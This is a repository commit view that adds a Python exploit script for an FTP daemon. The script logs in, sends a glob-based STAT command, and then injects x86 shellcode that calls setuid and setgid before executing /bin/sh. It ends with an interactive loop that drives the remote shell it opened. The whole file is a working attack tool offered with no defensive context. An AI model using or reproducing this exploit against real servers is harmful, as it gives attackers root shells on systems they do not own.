summaryrefslogtreecommitdiff
path: root/exploits/ftpd_exp/exp.py
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/ftpd_exp/exp.py
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/ftpd_exp/exp.py')
-rw-r--r--exploits/ftpd_exp/exp.py26
1 files changed, 26 insertions, 0 deletions
diff --git a/exploits/ftpd_exp/exp.py b/exploits/ftpd_exp/exp.py
new file mode 100644
index 0000000..86ec3cc
--- /dev/null
+++ b/exploits/ftpd_exp/exp.py
@@ -0,0 +1,26 @@
1#!/usr/bin/env python
2from ftplib import *
3import os,time,struct,sys
4from select import select
5
6shellcode = '\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xc0\x50\x50\x50\xb0\x7f\xcd\x80\xeb\x17\x31\xc0\x5b\x50\x88\x43\x07\x8d\x4b\x08\x89\x5b\x08\x89\x43\x0c\x51\x53\x50\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh\x0a'
7
8ftp = FTP()
9ftp.connect('192.168.1.2',21)
10ftp.login('username','password')
11
12time.sleep(6)
13print 'sending stat command'
14ftp.putcmd('STAT a*/*/*/*/')
15print 'sending shellcode'
16ftp.sock.send(shellcode)
17time.sleep(2)
18while 1:
19 heh = select([sys.stdin,ftp.sock],[],[])
20 for i in heh[0]:
21 if i == sys.stdin:
22 buf = sys.stdin.readline()
23 ftp.sock.send(buf)
24 if i == ftp.sock:
25 buf = ftp.sock.recv(1024)
26 sys.stdout.write(buf)